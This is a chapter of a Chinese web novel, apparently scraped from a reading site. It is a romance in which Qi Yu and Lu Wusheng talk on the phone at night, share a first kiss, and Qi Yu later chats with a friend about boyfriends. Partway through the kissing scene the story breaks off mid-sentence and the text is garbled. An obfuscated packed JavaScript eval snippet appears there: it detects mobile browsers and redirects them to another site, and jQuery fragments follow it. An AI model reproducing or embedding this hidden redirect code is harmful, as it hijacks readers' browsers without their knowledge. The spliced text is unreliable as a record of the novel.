14. 第十四章
作品:《逾期界限[双重生]》 戚榆差点没拿稳手机,大晚上的有什么事不能发消息吗,非要打电话。
她清了清嗓子,把手机放在耳边,“喂。”
陆雾生的声音顺着电流缓缓地流过来,夜色深深,有种迷人的危险:“我缺什么,你就给什么吗?”
戚榆自认他没什么可缺的,真有缺的,她不一定给的起,因此没把话说死。
“那得看是什么,我也不是无所不能的许愿瓶。”
他低笑,“这么妄自菲薄?”
戚榆一本正经:“这叫自知之明。”
电话那头,陆雾生总觉得,她越来越具象,一个人真正的性格底色或许真的不能被彻底覆盖,隐隐的,他会有和曾经的她在对话的错觉。
这种感觉越是强烈,心口的位置就越是病发,思绪也就变得杂乱无序起来。
大抵是夜色作乱,让他失了理智。
竟然脱口而出:“缺你的晚安,给吗?”
戚榆一时没听明白,等她把这话掰扯清楚后,卡了壳,不知道话怎么说了。
什么意思?
他们之间说这种话合适吗,她握紧了手机。
幸好陆雾生自己接上了,他说:“之前和你互道晚安都成习惯了,这些日子骤然没了,睡眠质量有点不太好。”
戚榆呼了口气:“这样啊。”
她没有应下,一是每晚互道晚安这种事挺暧昧的,以前小不懂事就算了,现在肯定不能继续下去,更何况她还有男朋友。
二是为了将来着想,这次顺着他的话同意了,后面怎么办,他一辈子不适应,她就要给他道一辈子的晚安吗,不可能的,这种事又不是戒毒,努努力,总是能够解决的。
她缄默,陆雾生好似从这默不作声的气氛中得到答案,手放在眼睛上,唇角讥讽地扯了扯。
讽他自作多情,讽他独角戏开场,台下却只有他一个观众。
于是默契地按下不提:“太晚了,你睡吧。”
戚榆:“嗯,你也早点睡。”
闭上眼睛,盖上薄被,意识柔柔飘落在无边际的幽谷,最后稳稳地落进温暖的摇篮里,舒服地睡去。
暖融融的卧室外,落地窗上的水雾洗刷净玻璃,夜色长了白色的翅膀,神不知鬼不觉地穿过玻璃,丝丝缕缕将床上的人笼罩住。
嘴被堵住,呼吸被烫意打回来,戚榆睁开眼,眼里浸着惹人怜爱的水雾。
神色未聚焦,便听得一道笑意。
“笨蛋,接吻是要换气的。”
戚榆只是答应和他试一试,她的心意还不坚定,被他哄着接了吻,接吻也就算了,他迟迟不离开,害的她呼吸堵在喉咙里,离开后还要打趣她两句。
她难得地驳他:“我又没有学过。”
木头生起气来,面无表情,又倔又要命。
陆雾生止住笑,伏低做小,“是我的错,害你难受。”
自从意识到他对戚榆的心意后,陆雾生对上她,总是先投降的那一方。不像小时候,护着她的同时,还喜欢逗她,大部分随着自己的心意来。
现在的他,更多的关照戚榆的想法。
喜欢一个人这种情绪啊,酸酸软软地积在心脏的位置,叫他臣服的同时,又忍不住欢喜。
戚榆还坐在他的怀里,想起来,腰上的手搂着不放。
她看过去,陆雾生漆黑的眸子充满诱惑地锁住她,唇里还带着淡淡的酒意,“阿榆,不是说补偿我吗?”
“哄他”这件事的由头来自哪里呢,是他告白被拒,戚榆一连好久没见到他的人,找了谢黎问才知道他自己躲到外面去了。
戚榆心里发酵着不知名的情愫,找到他后,因着不愿失去,松口应下表白。
可只是松口还不够,陆雾生最是知道得寸进尺的,翻来覆去讲他有多难过,多么伤心,那几天顿觉未来有多么黑暗,怎么严重怎么来。
戚榆呆愣着,把他的诉苦一字一句全部听进耳朵里,没想到会给他带来这么多的痛苦,呐呐地问他:“那怎么办?”
问到点上了。
陆雾生就等着她这句话,“所以你要补偿我,安慰我受伤的心灵。”
木木的女孩没有任何迟疑,“好,我补偿你。”
得到承诺的男生满意了,至于补偿什么,暂且不提。
不久后开学了,他从宿舍搬出来,在学校附近租了一间公寓,把戚榆接了进去。
他开始进公司锻炼,没课的时候基本都在公司。
周五放学后,戚榆买了菜回去,刚把菜放到玄关,门铃就响了,密码锁输密码的声音在一门之隔不停响起。
她从猫眼看去,陆雾生穿着正装站在门外,垂着眸费解地输密码,他的发型乱了,脸上透着一层薄红。
戚榆打开门,“你喝酒了吗?”
陆雾生冲着她笑:“喝了一点。”
他跨进门,换好鞋后哪里也不去,顺着她的步子跟进厨房,站在她旁边,眼神望着她的侧脸,看着她把买的菜分装进冰箱。
随后又跟着她出厨房,戚榆把他按在沙发上,“你别跟着我,工作累不累?”
“有点。”
他的衬衫纽扣原本解了一颗,仿佛还热,单手又解开一颗。
“累就坐着休息。”戚榆说。
她转身要走,一只手拉住她,一用劲就把她拉进怀里,陆雾生离她很近,眼神莫名具有侵略性,“阿榆,还记得吗,你欠我一份补偿。”
戚榆头一次坐在男性的腿上,她先是不太适应,后放下心来,这个人是陆雾生,对她来说,是可信任的存在。
她望着这双从小看到大,已经无比熟悉的眸,说道:“记得。”
就这样,陆雾生吻了她的唇,末了还笑她不会换气,惹她生气后,又可怜巴巴地向她讨要补偿。
戚榆不知怎地,拿这样的他没有任何办法,只好任他予取予夺。
她待在他怀里,“我不会食言,你要教我换气。”
较真得可爱。
陆雾生脸埋进她的肩颈,唇角露出一抹愉悦的弧度,说话吐气的热气吹拂着戚榆的颈部肌肤。
“好,我教你。”
他捧住她的脸,一寸寸入侵她的领地,轻声引导她:“调整呼吸,用鼻子呼吸。”
他含住轻捻,不疾不徐地,“对,就是这样,真厉害。”
窒息的阴影从头顶散去,脸上平息的潮红卷土重来,戚榆已经能够掌握换气的秘诀,可心脏的地方,心跳快得让她疑惑。
唇齿之间,陆雾生的气息经久不息,撩起眼皮,自下而上望着她,轻碰着她,薄唇开合的弧度被她全部感受到。
他嗓音无端哑了:“心跳好快。”
短短四个字,戚榆一张脸全红了,擦过他的唇,缩头乌龟似的,头抵在他的胸膛,一副被说中事实的害羞模样。
陆雾生一时愣住,接着闷笑起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469878|201419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,抚上她通红的耳朵:“我说我的。“
他的手放在戚榆的脑袋上,把她朝心脏的位置推了推:“你听,是不是很快。”
戚榆耳朵贴着他的胸口,心脏的律动一下一下有力地跳动着,听着这猛烈汹涌到要蹦出来的心跳声,她的脸颊越发热了。
“…很快。”
陆雾生咳嗽一声,看起来镇定极了,如果他的耳朵没有那么红的话。
戚榆去摸他的耳朵,“很热吗?”
要了命了。
“阿榆,别撩我了。”陆雾生握住她的手,将她整个人抱在怀里。
客厅的鱼缸里,一只乌龟缓慢地移动着,灯光折射进水里,将水里的世界照耀得清清楚楚。
隔着水面往外看,水雾朦胧,年轻的男女靠在一起,静默而自持,像一副精致的画。
鱼尾一摆动,画面就散了。
戚榆做了一场梦,一晚上没睡好,醒来后一场空,只有渔网拖着石头入水的沉重感遗留在大脑皮层。
下楼陪妈妈用完早餐,她带着白雪往外面走走散步。
狗绳拿在手上,跟着白雪的步伐慢慢往前挪,戚榆耳朵上戴着蓝牙耳机,在和人通话。
“什么特产啊?”
卫芙:“你喜欢的,还有你哥不是喜欢吃甜品吗,这个刚好,你把你们学校地址给我,寄过去你也分一点给他尝尝。”
戚榆:“好,我等会儿发你。”
她在路边的长椅坐下,揉着白雪的脑袋:“易倪上了大学,都不怎么联系我了,想看她学校,她也只发一两张校门口的照片。”
卫芙干笑:“我也觉得,我找她聊天,她都挑着回,典型的有了新友忘旧友。”
“你是不是也结交了好多新朋友,真怕我们再也不是最好的三姐妹。”
戚榆:“放心好了,没有新的朋友比你们重要。”
“那我就放心了。”卫芙说:“我这个大学上的,到现在为止,连宿舍的人都还没认全。”
戚榆不解:“为什么?”
“还能因为什么啊,都是张翊然的错,霸占着我,非要我搬出去和他住,粘人得很。”
看似在抱怨,实则是在撒狗粮,戚榆好笑地摇摇头,“你好像挺甘之如饴的。”
那边一阵水声,夹杂着塑料袋的声音,卫芙就在这样的声音中回复:“是有点,谁叫我爱他呢,嘿嘿。”
“你没救了。”戚榆感叹。
“又不是溺水,说什么救不救的,有爱就够了。”卫芙不以为然,八卦地问她:“你和贺凛怎么样,他粘不粘人?”
戚榆:“还好。”
卫芙啧啧两声,传授经验:“我跟你说啊,一个男生喜欢你,不可能不粘人,热恋可是感情浓度最高的时候。”
戚榆在这个话题上有不同的见解:“因人而异吧。”
“NoNoNo。”卫芙说:“我猜他肯定也想粘着你,但是你太拒人于千里之外,所以他只能躲在外围看你。”
“你不能一直这样,你得改变一下,给他释放信号,这样你们的感情才会升温。”
“我也是没想到你谈起恋爱来这么稳重,你得拿出对那位陆家哥哥的态度来接纳他,作一点,活泼一点,知道吧?”
她分析得头头是道,像一位真正的情感大师,戚榆应和道:“行,我知道了。”
卫芙功成身退:“ok,我不跟你聊了,张翊然回来了。”

